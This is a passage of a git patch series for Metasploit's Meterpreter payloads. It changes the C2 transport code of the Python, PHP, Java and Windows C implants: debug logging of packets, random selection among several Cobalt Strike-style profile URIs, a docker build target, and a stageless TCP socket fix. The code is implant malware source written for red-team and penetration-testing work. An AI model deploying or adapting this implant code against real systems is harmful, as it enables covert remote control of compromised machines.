self._non_c2_url() headers = self._http_request_headers + debug_print('[GET] (non-c2) url=%s' % url) request = urllib.Request(url, None, headers) urlopen_kwargs = {} @@ -1226,25 +1245,33 @@ def _get_packet(self): url_h = urllib.urlopen(request, **urlopen_kwargs) if url_h.code == 200: raw_response = url_h.read() + debug_hexdump('[GET] raw response body', raw_response) # Strip C2 profile prefix/suffix from response if configured if self.c2_get: prefix_skip = self.c2_get.get('prefix_skip', 0) suffix_skip = self.c2_get.get('suffix_skip', 0) end = len(raw_response) - suffix_skip if suffix_skip else len(raw_response) raw_response = raw_response[prefix_skip:end] + debug_print('[GET] after strip prefix_skip=%d suffix_skip=%d' % (prefix_skip, suffix_skip)) + debug_hexdump('[GET] stripped (pre-decode)', raw_response) enc_in = self.c2_get.get('enc_inbound', C2_ENCODING_NONE) if enc_in != C2_ENCODING_NONE: raw_response = self._c2_decode(raw_response, enc_in) + debug_hexdump('[GET] decoded (enc_inbound=%d)' % enc_in, raw_response) packet = raw_response if len(packet) < PACKET_HEADER_SIZE: + debug_print('[GET] packet too short (%d < %d), discarding' % (len(packet), PACKET_HEADER_SIZE)) packet = None # looks corrupt else: xor_key = struct.unpack('BBBB', packet[:PACKET_XOR_KEY_SIZE]) header = xor_bytes(xor_key, packet[:PACKET_HEADER_SIZE]) pkt_length = struct.unpack('>I', header[PACKET_LENGTH_OFF:PACKET_LENGTH_OFF + PACKET_LENGTH_SIZE])[0] - 8 if len(packet) != (pkt_length + PACKET_HEADER_SIZE): + debug_print('[GET] length mismatch: hdr says %d, have %d, discarding' % (pkt_length + PACKET_HEADER_SIZE, len(packet))) packet = None # looks corrupt + else: + debug_print('[GET] valid packet, len=%d' % len(packet)) except Exception as e: debug_traceback('[-] failure to receive packet from ' + url) @@ -1696,10 +1723,15 @@ def _core_native_arch(self, request, response): def _core_patch_uuid(self, request, response): if not isinstance(self.transport, HttpTransport): + debug_print('[PATCH_UUID] transport is not HttpTransport (%r), ignoring' % type(self.transport).__name__) return ERROR_FAILURE, response - new_uuid = packet_get_tlv(request, TLV_TYPE_C2_UUID)['value'] - if not self.transport.patch_uuid(new_uuid): + uuid_tlv = packet_get_tlv(request, TLV_TYPE_C2_UUID) + new_uuid = uuid_tlv.get('value') + debug_print('[PATCH_UUID] old c2_uuid=%r -> new=%r' % (self.transport.c2_uuid, new_uuid)) + if not new_uuid or not self.transport.patch_uuid(new_uuid): + debug_print('[PATCH_UUID] patch failed (new_uuid=%r)' % new_uuid) return ERROR_FAILURE, response + debug_print('[PATCH_UUID] patched; c2_uuid now=%r' % self.transport.c2_uuid) return ERROR_SUCCESS, response def _core_negotiate_tlv_encryption(self, request, response): @@ -1904,6 +1936,8 @@ def _core_channel_tell(self, request, response): def create_response(self, request): response = struct.pack('>I', PACKET_TYPE_RESPONSE) commd_id_tlv = packet_get_tlv(request, TLV_TYPE_COMMAND_ID) + debug_hexdump('[REQ] incoming packet (post-decrypt TLVs)', request) + debug_print('[REQ] command id=%r name=%r' % (commd_id_tlv.get('value'), cmd_id_to_string(commd_id_tlv.get('value')) if commd_id_tlv else None)) response += tlv_pack(commd_id_tlv) response += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8'))) From 51735a0456ddcf7cbef955760eceb264ba8cd1ca Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 16 Jun 2026 21:54:28 +1000 Subject: [PATCH 32/35] Handle multiple C2 URIs in PHP payload A profile's `set uri` may list several space-separated candidate URIs (Cobalt Strike picks one at random per request), emitted as repeated TLV_TYPE_C2_URI values. parse_c2_verb_config now collects every TLV_TYPE_C2_URI into $config['uris'] instead of reading a single value, and http_build_profile_url picks one at random per request via array_rand. This avoids pasting the raw "uri-a uri-b" string into the request URL, which produced a space-corrupted HTTP request line. Both the config-block and runtime transport-switch paths are covered, and GET and POST both route through the random selection. --- php/meterpreter/meterpreter.php | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/php/meterpreter/meterpreter.php b/php/meterpreter/meterpreter.php index 35b4a9bee..597a3f239 100755 --- a/php/meterpreter/meterpreter.php +++ b/php/meterpreter/meterpreter.php @@ -1320,8 +1320,13 @@ function packet_enum_tlvs($pkt, $type) { function parse_c2_verb_config($group_bytes) { $config = array(); - $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_URI); - $config['uri'] = ($tlv != null) ? $tlv['value'] : null; + # A profile's `set uri` may list several candidate URIs, emitted as + # repeated TLV_TYPE_C2_URI values. Collect them all; the request builder + # picks one at random per request (Cobalt Strike semantics). + $config['uris'] = array(); + foreach (packet_enum_tlvs_raw($group_bytes, TLV_TYPE_C2_URI) as $uri_tlv) { + $config['uris'][] = $uri_tlv['value']; + } $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_ENC_INBOUND); $config['enc_inbound'] = ($tlv != null) ? $tlv['value'] : C2_ENCODING_NONE; $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_ENC_OUTBOUND); @@ -2199,9 +2204,10 @@ function http_build_profile_url($transport, $profile) { $base = $parsed['scheme'] . '://' . $parsed['host']; if (isset($parsed['port'])) { $base .= ':' . $parsed['port']; } + # Pick one of the profile's candidate URIs at random per request. $uri = ''; - if (isset($profile['uri']) && $profile['uri'] != null) { - $uri = $profile['uri']; + if (!empty($profile['uris'])) { + $uri = $profile['uris'][array_rand($profile['uris'])]; if ($uri[0] != '/') { $uri = '/' . $uri; } } $url = $base . $uri; From ebcc62d7731950706a2cf247ef596fbf6c9c455e Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 16 Jun 2026 22:10:21 +1000 Subject: [PATCH 33/35] Handle multiple C2 URIs in Java payload + add docker build target A profile's `set uri` may list several space-separated candidate URIs (Cobalt Strike picks one at random per request), emitted as repeated TLV_TYPE_C2_URI values. C2VerbConfig now carries a String[] uris instead of a single uri; ConfigParser and core_transport_add collect every TLV_TYPE_C2_URI via getValues(); and HttpTransport.buildProfileUrl picks one at random per request via Math.random. This avoids pasting the raw "uri-a uri-b" string into the request URL, which produced a space-corrupted HTTP request line. Both the config-block and runtime transport-add paths are covered, and GET and POST both route through the random selection. Also add a `docker` target to java/Makefile that builds the payload inside the rapid7/msf-ubuntu-x64-meterpreter image (no local JDK/Maven needed), mounting only the metasploit-payloads checkout and chowning the build artifacts back to the invoking user. --- java/Makefile | 10 ++++++++++ .../java/com/metasploit/meterpreter/HttpTransport.java | 5 +++-- .../meterpreter/core/core_transport_add.java | 8 +++++++- .../main/java/com/metasploit/stage/C2VerbConfig.java | 2 +- .../main/java/com/metasploit/stage/ConfigParser.java | 6 +++++- 5 files changed, 26 insertions(+), 5 deletions(-) diff --git a/java/Makefile b/java/Makefile index 21021f485..2e0a1b5b4 100644 --- a/java/Makefile +++ b/java/Makefile @@ -2,6 +2,8 @@ ADB=${ANDROID_HOME}/platform-tools/adb ANDROID=${ANDROID_HOME}/tools/android PACKAGE=com.metasploit.stage +DOCKER_CONTAINER=rapid7/msf-ubuntu-x64-meterpreter:latest + all: android android: @@ -10,6 +12,14 @@ android: java: mvn package +# Build the Java Meterpreter inside the official build container (no local +# JDK/Maven required). Only the metasploit-payloads checkout is mounted, and +# build artifacts are chowned back to the invoking user. The resulting jars +# land in meterpreter/meterpreter/target and meterpreter/stdapi/target. +docker: + docker run --rm -v "$(CURDIR)/..":/mp -w /mp/java $(DOCKER_CONTAINER) \ + bash -c "mvn -q package; rc=$$?; chown -R $(shell id -u):$(shell id -g) /mp/java; exit $$rc" + clean: mvn clean -Dandroid.sdk.path=/ diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java index 9f7e851a7..5fa536f60 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java @@ -351,7 +351,7 @@ private static String renderUuid(C2VerbConfig profile, String uuid) { } private URL buildProfileUrl(C2VerbConfig profile) throws MalformedURLException { - if (profile == null || profile.uri == null) { + if (profile == null || profile.uris == null || profile.uris.length == 0) { return this.targetUrl; } @@ -359,7 +359,8 @@ private URL buildProfileUrl(C2VerbConfig profile) throws MalformedURLException { + this.targetUrl.getHost() + ":" + this.targetUrl.getPort(); - String uri = profile.uri; + // Pick one of the profile's candidate URIs at random per request. + String uri = profile.uris[(int)(Math.random() * profile.uris.length)]; if (!uri.startsWith("/")) { uri = "/" + uri; } diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java index 693fde41f..575dc4f26 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java @@ -9,6 +9,8 @@ import com.metasploit.meterpreter.command.Command; import com.metasploit.stage.C2VerbConfig; +import java.util.List; + public class core_transport_add implements Command { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { @@ -83,7 +85,11 @@ private static C2VerbConfig parseC2VerbGroup(TLVPacket request, int groupType) { } C2VerbConfig config = new C2VerbConfig(); - config.uri = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_URI, null); + // A profile's `set uri` may list several candidate URIs, emitted as + // repeated TLV_TYPE_C2_URI values. Collect them all; the request + // builder picks one at random per request (Cobalt Strike semantics). + List uriValues = verbGroup.getValues(TLVType.TLV_TYPE_C2_URI); + config.uris = (String[]) uriValues.toArray(new String[0]); config.encInbound = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_INBOUND, new Integer(0)); config.encOutbound = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_OUTBOUND, new Integer(0)); config.encUuid = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_UUID, new Integer(0)); diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/C2VerbConfig.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/C2VerbConfig.java index 5a350fe5f..d18e9292a 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/stage/C2VerbConfig.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/C2VerbConfig.java @@ -2,7 +2,7 @@ public class C2VerbConfig { - public String uri; + public String[] uris; // candidate request URIs; one chosen at random per request public int encInbound; // server->client (response body) encoding public int encOutbound; // client->server (request body, POST only) encoding public int encUuid; // encoding applied to the UUID before placement diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java index 6bfe71604..e60b9be18 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java @@ -90,7 +90,11 @@ private static C2VerbConfig parseC2VerbGroup(TLVPacket c2Group, int groupType) { } C2VerbConfig config = new C2VerbConfig(); - config.uri = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_URI, null); + // A profile's `set uri` may list several candidate URIs, emitted as + // repeated TLV_TYPE_C2_URI values. Collect them all; the request + // builder picks one at random per request (Cobalt Strike semantics). + List uriValues = verbGroup.getValues(TLVType.TLV_TYPE_C2_URI); + config.uris = (String[]) uriValues.toArray(new String[0]); config.encInbound = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_INBOUND, new Integer(0)); config.encOutbound = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_OUTBOUND, new Integer(0)); config.encUuid = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_UUID, new Integer(0)); From cf1e363454787a5dd4325495283151f73d6c1784 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 16 Jun 2026 23:15:49 +1000 Subject: [PATCH 34/35] Handle multiple C2 URIs in Windows meterpreter A profile's `set uri` may list several space-separated candidate URIs (Cobalt Strike picks one at random per request), emitted as repeated TLV_TYPE_C2_URI values. HttpRequestOptions now carries a STRTYPE* uris / uri_count instead of a single uri (the base/default URL is just a one-element array), and generate_uri picks one at random per request via rand(). The change lives entirely in the shared HTTP code paths, so both the winhttp and wininet transports are covered without duplication: - get_http_options_from_tlv collects every TLV_TYPE_C2_URI into uris[] using a new packet_get_tlv_group_entry_n indexed group accessor (core.c/core.h). - generate_uri (shared by both transports) picks a random candidate, and falls back to the default base URI when a verb config has none. - http_options_set_single_uri / http_options_free_uris manage the base URI and cleanup; both winhttp and wininet configure paths and destroy_options use them. - set_http_options_to_tlv emits one TLV_TYPE_C2_URI per candidate so transport-list reporting round-trips all of them. --- c/meterpreter/source/common/common_remote.h | 3 +- c/meterpreter/source/metsrv/core.c | 5 +++ c/meterpreter/source/metsrv/core.h | 1 + .../source/metsrv/server_http_utils.c | 45 +++++++++++++++++-- .../source/metsrv/server_http_utils.h | 2 + .../source/metsrv/server_transport_winhttp.c | 45 +++++++++++++++---- .../source/metsrv/server_transport_wininet.c | 5 +-- 7 files changed, 90 insertions(+), 16 deletions(-) diff --git a/c/meterpreter/source/common/common_remote.h b/c/meterpreter/source/common/common_remote.h index ab6ad8601..36245e0ff 100644 --- a/c/meterpreter/source/common/common_remote.h +++ b/c/meterpreter/source/common/common_remote.h @@ -74,7 +74,8 @@ typedef struct _NamedPipeTransportContext typedef struct _HttpRequestOptions { - STRTYPE uri; + STRTYPE* uris; ///! Request URIs (base, or profile candidates); one chosen at random per request. + UINT uri_count; ///! Number of entries in uris. STRTYPE ua; STRTYPE headers; ///! Custom headers, including accept types or referrer if required. PBYTE payload_prefix; ///! Bytes to prepend to outgoing payloads. diff --git a/c/meterpreter/source/metsrv/core.c b/c/meterpreter/source/metsrv/core.c index 15cf41ecc..737362906 100644 --- a/c/meterpreter/source/metsrv/core.c +++ b/c/meterpreter/source/metsrv/core.c @@ -760,6 +760,11 @@ DWORD packet_get_tlv_group_entry(Packet *packet, Tlv *group, TlvType type, Tlv * return packet_find_tlv_buf(packet, group->buffer, group->header.length, 0, type, entry); } +DWORD packet_get_tlv_group_entry_n(Packet *packet, Tlv *group, DWORD index, TlvType type, Tlv *entry) +{ + return packet_find_tlv_buf(packet, group->buffer, group->header.length, index, type, entry); +} + PCHAR packet_get_tlv_group_entry_value_string(Packet *packet, Tlv *group, TlvType type, DWORD* size) { Tlv entry = { 0 }; diff --git a/c/meterpreter/source/metsrv/core.h b/c/meterpreter/source/metsrv/core.h index 6ae7adbb8..1c4443395 100644 --- a/c/meterpreter/source/metsrv/core.h +++ b/c/meterpreter/source/metsrv/core.h @@ -36,6 +36,7 @@ TlvMetaType packet_get_tlv_meta(Packet *packet, Tlv *tlv); DWORD packet_get_tlv(Packet *packet, TlvType type, Tlv *tlv); DWORD packet_get_tlv_string(Packet *packet, TlvType type, Tlv *tlv); DWORD packet_get_tlv_group_entry(Packet *packet, Tlv *group, TlvType type,Tlv *entry); +DWORD packet_get_tlv_group_entry_n(Packet *packet, Tlv *group, DWORD index, TlvType type, Tlv *entry); DWORD packet_enum_tlv(Packet *packet, DWORD index, TlvType type, Tlv *tlv); DWORD packet_enum_group_tlv(Packet* packet, Tlv* group, DWORD index, TlvType type, Tlv* tlv); diff --git a/c/meterpreter/source/metsrv/server_http_utils.c b/c/meterpreter/source/metsrv/server_http_utils.c index 93d4d7645..19dc1938b 100644 --- a/c/meterpreter/source/metsrv/server_http_utils.c +++ b/c/meterpreter/source/metsrv/server_http_utils.c @@ -339,13 +339,50 @@ PWSTR generate_headers(HttpTransportContext* ctx, HttpConnection* conn) * is included with any outbound URI that is associated with the request, and hence allows * for the URI to change between get and post requests based on a C2 profile. */ -PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn) +/*! + * @brief Free the candidate URI array on an options struct. + */ +void http_options_free_uris(HttpRequestOptions* options) +{ + if (options->uris != NULL) + { + for (UINT i = 0; i < options->uri_count; ++i) + { + SAFE_FREE(options->uris[i]); + } + free(options->uris); + options->uris = NULL; + } + options->uri_count = 0; +} + +/*! + * @brief Replace the options' candidate URIs with a single base URI. + * @details Used for the default/base transport URL (derived from C2_URL), + * which has no profile-supplied candidate list. + */ +void http_options_set_single_uri(HttpRequestOptions* options, PCWSTR uri) { - PWCHAR baseUri = ctx->default_options.uri; - if (conn->options.uri) + http_options_free_uris(options); + if (uri == NULL) + { + return; + } + options->uris = (PWSTR*)calloc(1, sizeof(PWSTR)); + if (options->uris == NULL) { - baseUri = conn->options.uri; + return; } + options->uris[0] = _wcsdup(uri); + options->uri_count = 1; +} + +PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn) +{ + // Pick one of the connection's candidate URIs at random; fall back to the + // transport's default/base URI when the verb config has none. + HttpRequestOptions* opts = conn->options.uri_count > 0 ? &conn->options : &ctx->default_options; + PWCHAR baseUri = opts->uri_count > 0 ? opts->uris[rand() % opts->uri_count] : NULL; // if we don't have a UUID yet we are going to assume that it's in the base URI. // If we do have a URI specified for this connection, we need to parse it. But only diff --git a/c/meterpreter/source/metsrv/server_http_utils.h b/c/meterpreter/source/metsrv/server_http_utils.h index 1c02f4093..f9822a0cd 100644 --- a/c/meterpreter/source/metsrv/server_http_utils.h +++ b/c/meterpreter/source/metsrv/server_http_utils.h @@ -12,5 +12,7 @@ BOOL encode_raw_packet(HttpTransportContext* conn, LPBYTE data, DWORD dataLen, L PWSTR generate_headers(HttpTransportContext* ctx, HttpConnection* conn); PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn); PWSTR render_uuid(HttpTransportContext* ctx, HttpConnection* conn, PCWSTR uuid); +void http_options_free_uris(HttpRequestOptions* options); +void http_options_set_single_uri(HttpRequestOptions* options, PCWSTR uri); #endif diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c index b35d4de06..5b365619d 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -701,10 +701,9 @@ static DWORD server_init_winhttp(Transport* transport) dprintf("[DISPATCH] About to crack URL: %S", transport->url); WinHttpCrackUrl(transport->url, 0, 0, &bits); - SAFE_FREE(ctx->default_options.uri); - ctx->default_options.uri = _wcsdup(tmpUrlPath); + http_options_set_single_uri(&ctx->default_options, tmpUrlPath); - dprintf("[DISPATCH] Configured URI: %S", ctx->default_options.uri); + dprintf("[DISPATCH] Configured URI: %S", tmpUrlPath); dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort); DWORD result = server_init_connection(ctx, &ctx->get_connection, tmpHostName, bits.nPort); @@ -886,7 +885,7 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) static void destroy_options(HttpRequestOptions* options) { SAFE_FREE(options->ua); - SAFE_FREE(options->uri); + http_options_free_uris(options); SAFE_FREE(options->headers); SAFE_FREE(options->payload_prefix); SAFE_FREE(options->payload_suffix); @@ -993,9 +992,9 @@ BOOL set_http_options_to_tlv(Packet* optionsPacket, HttpRequestOptions* sourceOp { packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_UA, sourceOptions->ua); } - if (sourceOptions->uri != NULL) + for (UINT i = 0; i < sourceOptions->uri_count; ++i) { - packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_URI, sourceOptions->uri); + packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_URI, sourceOptions->uris[i]); } if (sourceOptions->uuid_cookie != NULL) { @@ -1083,7 +1082,33 @@ BOOL get_http_options_from_tlv(Packet* packet, Tlv* optionsTlv, HttpRequestOptio targetOptions->payload_suffix_size = payloadSize; targetOptions->payload_suffix_skip = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_SUFFIX_SKIP); targetOptions->ua = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UA, NULL); - targetOptions->uri = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_URI, NULL); + // A profile's `set uri` may list several candidate URIs, emitted as + // repeated TLV_TYPE_C2_URI values. Collect them all; generate_uri picks + // one at random per request (Cobalt Strike semantics). + Tlv uriEntry; + DWORD uriIndex = 0; + while (packet_get_tlv_group_entry_n(packet, optionsTlv, uriIndex, TLV_TYPE_C2_URI, &uriEntry) == ERROR_SUCCESS) + { + PCHAR narrow = (PCHAR)uriEntry.buffer; + size_t wlen = mbstowcs(NULL, narrow, 0) + 1; + PWSTR wide = (PWSTR)calloc(wlen, sizeof(wchar_t)); + if (wide == NULL) + { + break; + } + mbstowcs(wide, narrow, wlen); + + PWSTR* grown = (PWSTR*)realloc(targetOptions->uris, sizeof(PWSTR) * (targetOptions->uri_count + 1)); + if (grown == NULL) + { + free(wide); + break; + } + targetOptions->uris = grown; + targetOptions->uris[targetOptions->uri_count] = wide; + targetOptions->uri_count++; + uriIndex++; + } targetOptions->uuid_cookie = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_COOKIE, NULL); targetOptions->uuid_get = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_GET, NULL); targetOptions->uuid_header = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_HEADER, NULL); @@ -1123,7 +1148,11 @@ static void debug_print_http_options(PSTR type, HttpRequestOptions* options) dprintf("[HTTP OPTION] - %s - Payload Suffix: %s", type, options->payload_suffix); dprintf("[HTTP OPTION] - %s - Prefix Skip: %u", type, options->payload_prefix_skip); dprintf("[HTTP OPTION] - %s - Suffix Skip: %u", type, options->payload_suffix_skip); - dprintf("[HTTP OPTION] - %s - URI: %S", type, options->uri); + dprintf("[HTTP OPTION] - %s - URI count: %u", type, options->uri_count); + for (UINT i = 0; i < options->uri_count; ++i) + { + dprintf("[HTTP OPTION] - %s - URI[%u]: %S", type, i, options->uris[i]); + } dprintf("[HTTP OPTION] - %s - UUID Cookie: %S", type, options->uuid_cookie); dprintf("[HTTP OPTION] - %s - UUID Get: %S", type, options->uuid_get); dprintf("[HTTP OPTION] - %s - UUID Header: %S", type, options->uuid_header); diff --git a/c/meterpreter/source/metsrv/server_transport_wininet.c b/c/meterpreter/source/metsrv/server_transport_wininet.c index d3b8b5953..63b73e7ed 100644 --- a/c/meterpreter/source/metsrv/server_transport_wininet.c +++ b/c/meterpreter/source/metsrv/server_transport_wininet.c @@ -264,10 +264,9 @@ static DWORD server_init_wininet(Transport* transport) dprintf("[DISPATCH] About to crack URL: %S", transport->url); InternetCrackUrl(transport->url, 0, 0, &bits); - SAFE_FREE(ctx->default_options.uri); - ctx->default_options.uri = _wcsdup(tmpUrlPath); + http_options_set_single_uri(&ctx->default_options, tmpUrlPath); - dprintf("[DISPATCH] Configured URI: %S", ctx->default_options.uri); + dprintf("[DISPATCH] Configured URI: %S", tmpUrlPath); dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort); DWORD result = server_init_connection(ctx, &ctx->get_connection, tmpHostName, bits.nPort); From b632aef9fb73863d09f199f44c45b563967f6797 Mon Sep 17 00:00:00 2001 From: Diego Ledda Date: Fri, 3 Jul 2026 16:13:39 +0200 Subject: [PATCH 35/35] fix: issue with stageless reverse tcp in python --- python/meterpreter/meterpreter.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/python/meterpreter/meterpreter.py b/python/meterpreter/meterpreter.py index dd52c08ec..2d050b38f 100644 --- a/python/meterpreter/meterpreter.py +++ b/python/meterpreter/meterpreter.py @@ -2304,11 +2304,12 @@ def encrypt(self, pt): _dbg_fh.setLevel(logging.DEBUG) logging.getLogger().addHandler(_dbg_fh) transport = config['transports'][0] - # For staged TCP payloads, the stager has already established the socket - # connection, so bind it to the first transport instead of reconnecting. + # PATCH-SETUP-STAGELESS-TCP-SOCKET # + # For staged/stageless TCP payloads where the socket `s` is already + # established (by the stager or by the patched code above), bind it + # to the transport instead of reconnecting. if isinstance(transport, TcpTransport) and 's' in globals(): transport.socket = s - # PATCH-SETUP-STAGELESS-TCP-SOCKET # met = PythonMeterpreter(transport) met.session_expiry_time = config['session_expiry'] met.session_expiry_end = time.time() + config['session_expiry']